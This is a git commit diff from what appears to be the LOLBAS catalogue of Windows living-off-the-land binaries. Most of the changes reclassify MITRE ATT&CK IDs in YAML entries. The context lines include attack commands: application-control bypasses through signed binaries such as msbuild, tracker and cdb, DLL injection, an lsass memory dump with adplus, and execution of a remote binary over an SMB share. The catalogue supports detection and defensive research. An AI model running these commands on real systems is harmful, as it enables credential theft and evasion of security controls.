More changes (mainly changing generic T1218 to dev-specific T1127)

This commit is contained in:
Wietze 2021-11-05 20:06:57 +00:00
parent 8286677dac
commit 2577066af9
No known key found for this signature in database
GPG Key ID: E17630129FF993CF
19 changed files with 32 additions and 34 deletions

View File

@ -9,7 +9,7 @@ Commands:
Usecase: Execute proxied payload with Microsoft signed binary to bypass application control solutions
Category: AWL Bypass
Privileges: User
MitreID: T1218
MitreID: T1127
OperatingSystem: Windows 10
Full_Path:
- Path: c:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

View File

@ -9,7 +9,7 @@ Commands:
Usecase: Defense evasion
Category: ADS
Privileges: Admin
MitreID: T1562
MitreID: T1562.001
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Full_Path:
- Path: C:\Windows\System32\fltMC.exe

View File

@ -9,37 +9,35 @@ Commands:
Usecase: Compile and run code
Category: AWL bypass
Privileges: User
MitreID: T1127
MitreID: T1127.001
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
- Command: msbuild.exe project.csproj
Description: Build and execute a C# project stored in the target csproj file.
Usecase: Compile and run code
Category: Execute
Privileges: User
MitreID: T1127
MitreID: T1127.001
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
- Command: msbuild.exe @sample.rsp
Description: Executes Logger statements from rsp file
Usecase: Execute DLL
Category: Execute
Privileges: User
MitreID: T1127
MitreLink: https://attack.mitre.org/wiki/Technique/T1127
MitreID: T1127.001
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
- Command: msbuild.exe /logger:TargetLogger,C:\Loggers\TargetLogger.dll;MyParameters,Foo
Description: Executes generated Logger dll file with TargetLogger export
Usecase: Execute DLL
Category: Execute
Privileges: User
MitreID: T1127
MitreLink: https://attack.mitre.org/wiki/Technique/T1127
MitreID: T1127.001
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
- Command: msbuild.exe project.proj
Description: Execute jscript/vbscript code through XML/XSL Transformation. Requires Visual Studio MSBuild v14.0+.
Usecase: Execute project file that contains XslTransformation tag parameters
Category: Execute
Privileges: User
MitreID: T1127
MitreID: T1127.001
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Full_Path:
- Path: C:\Windows\Microsoft.NET\Framework\v2.0.50727\Msbuild.exe

View File

@ -9,14 +9,14 @@ Commands:
Usecase: Spawn process using other binary
Category: Execute
Privileges: Administrator
MitreID: T1218
MitreID: T1127
OperatingSystem: Windows 10 2004
- Command: ttdinject.exe /ClientScenario TTDRecorder /ddload 0 /ClientParams "7 tmp.run 0 0 0 0 0 0 0 0 0 0" /launch "C:/Windows/System32/calc.exe"
Description: Execute calc using ttdinject.exe. Requires administrator privileges. A log file will be created in tmp.run. The log file can be changed, but the length (7) has to be updated.
Usecase: Spawn process using other binary
Category: Execute
Privileges: Administrator
MitreID: T1218
MitreID: T1127
OperatingSystem: Windows 10 1909
Full_Path:
- Path: C:\Windows\System32\ttdinject.exe

View File

@ -9,7 +9,7 @@ Commands:
Usecase: Spawn process using other binary
Category: Execute
Privileges: Administrator
MitreID: T1218
MitreID: T1127
OperatingSystem: Windows 10 1809 and newer
- Command: TTTracer.exe -dumpFull -attach pid
Description: Dumps process using tttracer.exe. Requires administrator privileges

View File

@ -2,7 +2,7 @@
Name: adplus.exe
Description: Debugging tool included with Windows Debugging Tools
Author: mr.d0x
Created: 1/9/2021
Created: 2021-09-01
Commands:
- Command: adplus.exe -hang -pn lsass.exe -o c:\users\mr.d0x\output\folder -quiet
Description: Creates a memory dump of the lsass process

View File

@ -9,7 +9,7 @@ Commands:
Usecase: Local execution of assembly shellcode.
Category: Execute
Privileges: User
MitreID: T1218
MitreID: T1127
OperatingSystem: Windows
- Command: |
cdb.exe -pd -pn <process_name>
@ -18,7 +18,7 @@ Commands:
Usecase: Run a shell command under a trusted Microsoft signed binary
Category: Execute
Privileges: User
MitreID: T1218
MitreID: T1127
OperatingSystem: Windows
Full_Path:
- Path: C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\cdb.exe

View File

@ -9,7 +9,7 @@ Commands:
Usecase: Local execution of unsigned C# code.
Category: Execute
Privileges: User
MitreID: T1218
MitreID: T1127
OperatingSystem: Windows
Full_Path:
- Path: c:\Program Files (x86)\Microsoft Visual Studio\2017\Community\MSBuild\15.0\Bin\Roslyn\csi.exe

View File

@ -9,14 +9,14 @@ Commands:
Usecase: Execute any binary with given arguments and it will call developertoolssvc.exe. developertoolssvc is actually executing the binary. https://i.imgur.com/Go7rc0I.png
Category: Execute
Privileges: User
MitreID: T1218
MitreID: T1127
OperatingSystem: Windows 7 and up with VS/VScode installed
- Command: devtoolslauncher.exe LaunchForDebug [PATH_TO_BIN] "argument here" test
Description: The above binary will execute other binary.
Usecase: Execute any binary with given arguments.
Category: Execute
Privileges: User
MitreID: T1218
MitreID: T1127
OperatingSystem: Windows 7 and up with VS/VScode installed
Full_Path:
- Path: 'c:\windows\system32\devtoolslauncher.exe'

View File

@ -9,7 +9,7 @@ Commands:
Usecase: Local execution of C# project stored in consoleapp folder.
Category: Execute
Privileges: User
MitreID: T1218
MitreID: T1127
OperatingSystem: Windows
Full_Path:
- Path: N/A

View File

@ -9,7 +9,7 @@ Commands:
Usecase: Local execution of a process as a subprocess of Dxcap.exe
Category: Execute
Privileges: User
MitreID: T1218
MitreID: T1127
OperatingSystem: Windows
Full_Path:
- Path: C:\Windows\System32\dxcap.exe

View File

@ -9,14 +9,14 @@ Commands:
Usecase: Local execution of cmd.exe as a subprocess of Mftrace.exe.
Category: Execute
Privileges: User
MitreID: T1218
MitreID: T1127
OperatingSystem: Windows
- Command: Mftrace.exe powershell.exe
Description: Launch cmd.exe as a subprocess of Mftrace.exe.
Usecase: Local execution of powershell.exe as a subprocess of Mftrace.exe.
Category: Execute
Privileges: User
MitreID: T1218
MitreID: T1127
OperatingSystem: Windows
Full_Path:
- Path: C:\Program Files (x86)\Windows Kits\10\bin\10.0.16299.0\x86

View File

@ -1,6 +1,6 @@
---
Name: ntdsutil.exe
Description: Command line utility used to export Actove Directory.
Description: Command line utility used to export Active Directory.
Author: 'Tony Lambert'
Created: 2020-01-10
Commands:

View File

@ -9,14 +9,14 @@ Commands:
Usecase: Local execution of arbitrary C# code stored in local CSX file.
Category: Execute
Privileges: User
MitreID: T1218
MitreID: T1127
OperatingSystem: Windows
- Command: rcsi.exe bypass.csx
Description: Use embedded C# within the csx script to execute the code.
Usecase: Local execution of arbitrary C# code stored in local CSX file.
Category: AWL Bypass
Privileges: User
MitreID: T1218
MitreID: T1127
OperatingSystem: Windows
Full_Path:
- Path:

View File

@ -9,21 +9,21 @@ Commands:
Usecase: Executes a process under a trusted Microsoft signed binary
Category: AWL Bypass
Privileges: User
MitreID: T1218
MitreID: T1127
OperatingSystem:
- Command: Remote.exe /s "powershell.exe" anythinghere
Description: Spawns powershell as a child process of remote.exe
Usecase: Executes a process under a trusted Microsoft signed binary
Category: Execute
Privileges: User
MitreID: T1218
MitreID: T1127
OperatingSystem:
- Command: Remote.exe /s "\\10.10.10.30\binaries\file.exe" anythinghere
Description: Run a remote file
Usecase: Executing a remote binary without saving file to disk
Category: Execute
Privileges: User
MitreID: T1218
MitreID: T1127
OperatingSystem:
Full_Path:
- Path: C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\remote.exe

View File

@ -9,7 +9,7 @@ Commands:
Usecase: Execute Visual Basic script stored in local Windows Script Component file.
Category: Execute
Privileges: User
MitreID: T1218
MitreID: T1127
OperatingSystem: Windows
Full_Path:
- Path:

View File

@ -9,14 +9,14 @@ Commands:
Usecase: Injection of locally stored DLL file into target process.
Category: Execute
Privileges: User
MitreID: T1218
MitreID: T1127
OperatingSystem: Windows
- Command: Tracker.exe /d .\calc.dll /c C:\Windows\write.exe
Description: Use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions.
Usecase: Injection of locally stored DLL file into target process.
Category: AWL Bypass
Privileges: User
MitreID: T1218
MitreID: T1127
OperatingSystem: Windows
Full_Path:
- Path:

View File

@ -9,7 +9,7 @@ Commands:
Usecase: Execution of local PE file as a subprocess of Vsjitdebugger.exe.
Category: Execute
Privileges: User
MitreID: T1218
MitreID: T1127
OperatingSystem: Windows
Full_Path:
- Path: c:\windows\system32\vsjitdebugger.exe

View File

@ -9,7 +9,7 @@ Commands:
Usecase: Execute proxied payload with Microsoft signed binary to bypass WDAC policies
Category: AWL Bypass
Privileges: User
MitreID: T1218
MitreID: T1127
OperatingSystem: Windows 10 2004 (likely previous and newer versions as well)
Full_Path:
- Path: C:\Program Files (x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.8 Tools\wfc.exe